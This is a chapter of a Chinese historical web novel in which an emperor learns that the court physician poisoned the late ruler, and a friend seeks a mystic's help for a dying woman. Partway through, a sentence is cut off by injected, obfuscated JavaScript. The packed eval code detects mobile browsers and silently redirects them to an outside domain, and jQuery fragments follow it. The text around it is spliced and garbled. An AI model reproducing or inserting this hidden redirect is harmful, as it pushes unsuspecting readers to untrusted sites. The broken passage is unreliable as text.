81. 忘春回(七)
作品:《她收到一封诀别书》 乌木黑漆描金长桌上一对碧玉茶杯,于仕杰已离去,杯中的茶水冷透。李承冕立在桌前默了片刻,忽而发狠将茶盏掼开,青翠剔透的茶杯砸在地砖上登时四分五裂,一如此刻他胸腔中一颗被绞碎了、割烂了,鲜血淋漓的心脏苟延残喘。
前几日断断续续的雪粒子终于下大了,大雪纷飞将世间蒙上一层无辜的莹白,似乎这天底下所有藏匿在心中的秘密皆暴露无遗。
他望着窗外呆愣了一阵,径直走出门去,只着一件单衣立在大雪中,寒风刺骨,大雪砸在身上,不一会儿衣裳湿透了黏在身上,冻得皮肤生痛,好似只有这点肌肤筋骨的折磨才能消减心中的难受。
“陛下怎能这样赤条条站在雪中!您受了风寒可是要了老臣的命!”曲太医得了令风尘仆仆而来,一进门便瞧见李承冕不顾死活站在寒风中,登时吓了一跳,放下药箱连忙托起李承冕的双臂朝屋子里送。“院子也没个知心的来劝解一番么?到底遭了什么祸了!”
李承冕别开曲太医的手势,颤着声问道:“和光二十七年,先帝究竟为何而死?薛见微怎会早早预料先帝的死因,甚至还提到了你会阐明陛下死因,个中缘由到底为何!”
“陛下莫不是让风吹糊涂了,怎会有人未卜先知?”曲太医避开李承冕的视线,继而好生劝解起来,“天大地大也没有陛下的龙体重要,陛下莫要拿自己的身子遭罪。”
雪势不缓反增,李承冕的眉毛挂上绒雪,乍一看竟像是花白的眉发,“你也不想薛见微死,对么?只有解开以前的恩恩怨怨,她才能活下去,否则她这般将性命弃之如敝屣,定然是打算带着所有的心事离去,打定主意一人承担,朕发誓,无论真相如何朕绝不惩责过往。”
寒风肆虐,曲太医到底上了年纪,浑身直哆嗦,只能将两只手笼进袖子里取暖,“陛下,老臣小女与薛见微知己一场,老臣早已将其当作自己的女儿,必然不忍看她如此磋磨,可当年之事凶手已被诛杀,案册上写得明白,何曾有所隐瞒?”
风声鹤唳,草木皆兵。李承冕环顾四周,忽而惨笑一声,“那日率先出手的并非薛见微,也非杨慎良,而是朕,朕提着亡母留下的匕首想要结果了李鼎,是薛见微刺伤朕在先,杨慎良不过是无辜顶包之人,没有杨慎良,李鼎也得死。”
李承冕伸出手抓住曲太医的肩膀,一口气说完,竟像是泄了气一般跌跪在地上。两只手插进地上的积雪,发狠锤了一拳,炸开一堆冰碴子渗进脸上。
也许是气温过冷,亦或是此间的话语令人震惊,曲太医长须颤颤,他双目涣散喃喃道:“难怪...难怪...还以为是我来迟一步……”
一宫人进来呈上一封信,躬身道:“陛下,百里加急一封密信。”
李承冕撑起身子接过信,沉声道:“下去吧。”
那宫人见李承冕浑身湿透正欲张口劝阻,接了李承冕寒森森的一眼,赶紧闭嘴行一礼退了出去。
是闻渊的信,短短几句,大概言明张群玉以死相逼不愿离开垚州,他只能就地审问张群玉可有解救的法子。
最后一点希冀犹如暗室残余的一截蜡烛,耗费心气终于燃尽,眼下一片黑暗,灯灭烟消心死灰。
李承冕笑道:“罢了,终究是造化弄人,朕只有去阎罗殿看看,能否捉到薛见微的魂魄问个清楚。”
“快婿如子,臣是将闻渊看作半个儿子的,霁明一走,这半个儿子渐渐也就成了老臣夫妇两人的依靠。但总有从中作梗之人要绝老臣之后。”曲太医浑浊的眼睛绽放出一丝狠戾,“即使重来一遍,老臣还是会这么做。”
“那不过是老臣这一辈子,最为平平无奇的夜晚。薛见微手拿传国玉玺不期而至,与我坦言,她要保你夺得宝册,老臣只需略施手段,将致命毒药浸湿长衫,不足一刻即可要了那心狠之人的性命,何乐而不为?臣的女儿被他的贼子害死,连臣的儿子也要不人不鬼地活着,天道何在!既然没有天道,那臣只能用自己的方法替天行道!”
李承冕久久不语,臣弑其君,子弑其父,非一朝一夕之故。其所由来者渐矣,由辨之不早辨也。朝野上下,盼着李鼎死的不在少数,但能出手的寥寥无几,竟然阴差阳错在这屋子里凑齐了。
曲太医微微一笑,“陛下该不会要问老臣,薛见微为何偏偏要费尽心血保你夺得宝册吧?父母之爱子,愿为其牺牲一切,更何况夫妻之间。”
李承冕咬紧嘴里的血肉,丝丝绕绕的血腥之气排山倒海而来,将心中的苦涩卷走,留下怪石嶙峋的海底,沟壑纵横,千创百孔。
“容老臣先把脉看病,什么陈年旧事也不如一条活生生的人命要紧,老臣已经失去了一对儿女,经不起折腾了。”曲太医弯腰拎起脚边的药箱,一步一步踏上石阶迈进大殿里。
飞舞的大雪很快将脚印掩上,李承冕发力锤了锤心口,勉力喘上一口气,他昂首望天闭眼默了片刻,跟着进了大殿。
他自奉人死灯灭,自问从不信鬼神之说,可那一刻,李承冕忍不住虔诚祈祷,“母亲,您在天有灵便救救孩儿吧,孩儿愿用余下的所有阳寿交换,求她醒来。”
大荀的永年六年,是在一场天女下散花的飞雪中落幕,雪消冰又释,景和风复暄,永宁七年终于姗姗来迟。
---
垚州。
乡间矮屋,屋檐探出二尺,挂着一条长长的黄表纸,上以朱砂龙飞凤舞书写一长串,闻渊眯着眼睛盯着黄纸许久,也辨认不出上面的字究竟是什么。
他抱着双臂半信半疑道:“这能行么?”
屋子里走出一佝偻着身子的男人,提着酒壶仰面灌了一口,他斜晲一眼,不屑道:“你快些走吧,必然是不能行的,你还指望我作甚?”
闻渊气道:“张群玉!我说这么多年了,你的脾气还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489261|154524||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这么差!你以为我想来寻你么?”
“哎呦,我盼星星盼月亮盼着你来,你可满意了?”张群玉又从屋子里摸出一个破旧的香炉,也不插香,就那么干瘪的放在黄纸之下,“这些不过是垚州当地的习俗,做样子给门外随你同行的人看,我又没什么大神通,难不成还能起死回生?终归看她自己造化吧!”
闻渊又仔细看了看香炉,也并无特别之处,“既然无用,你何必搞这些花里胡哨的东西!杨司使若是还在,咱们何至于此,行这些装神弄鬼之事!”
“你懂个屁!”张群玉推搡闻渊,“差不多能糊弄两下就行了,我之前书信与你的,只是说她有变故让你告知我即可,可没让你来寻我!”
“只当是死马当作活马医了,宫里已经束手无策,我总不能干等着什么也不干。我若知道来寻你也是无用,还不如多花些时间留在宫里。大家同门一场,最后一面我自是要送送的。”
张群玉一脸色厌烦,又将闻渊推了几下,将他逼至门外,“还是那句话,让我回上京,除非我死,你们这些讨人嫌的,赶紧走!”
他啪得一声将大门紧闭,转过头望着空中飞舞的黄纸长长叹了一息。
“薛轶啊!你推演能力出神入化,你说二龙相克,果真李鼎死于她手,而后她命悬一线,如今当真有此一劫,我已按你托付的做了,回头咱们在下头见了面,你可别再怪我不讲义气喽!”
山野寂静,只余几声鸟鸣伴随着纸张风吹的哗啦啦响声。
---
林深雾暗迷行径,山静云闲冷客衣。
无人牵引,薛见微只身一人在山路中曲曲绕绕许久,出现一座青石拱桥架在深渊之上,她半只脚刚踏上拱桥的第一块砖石,眼前忽而多了一人挡住她的去路。
那人腰间别着一条长鞭,看不清面目,隐约是个中年的男子,虽不知面目如何,但能察觉到他气势威严。不等薛见微动作,那人率先一掌拍在薛见微的肩头,直打得她一个趔趄朝后一仰退至桥下。
可前后无路,她绕路许久只有此间一条路,薛见微只好耐住性子又上前一步,不料那人又将她一推。
如此循环往复许久,薛见微浑身湿透,照着往常的性子早就动手了,可不知为何对上这人她也不敢造次,甚至心里隐隐生出敬重之情。
来来往往数次,那人见薛见微很是固执,最后一掌用了十成力,厉声呵斥道:“不争气的东西!时候未到,你这般性急做什么?”说罢将薛见微猛力推开。
薛见微连连后退,几乎跌倒。她支楞着双手凭空抓着,想要拽住什么稳定身影,不料双手随意抓到的竟然是十分冰凉的物件,好似一条冰棱子。
耳边隐隐约约有人带着啜泣之声絮絮叨叨,“成了!成了!”
路途坎坷过于劳累,薛见微根本无力甩开那条冰棱子,只能将就着又昏沉沉睡下去。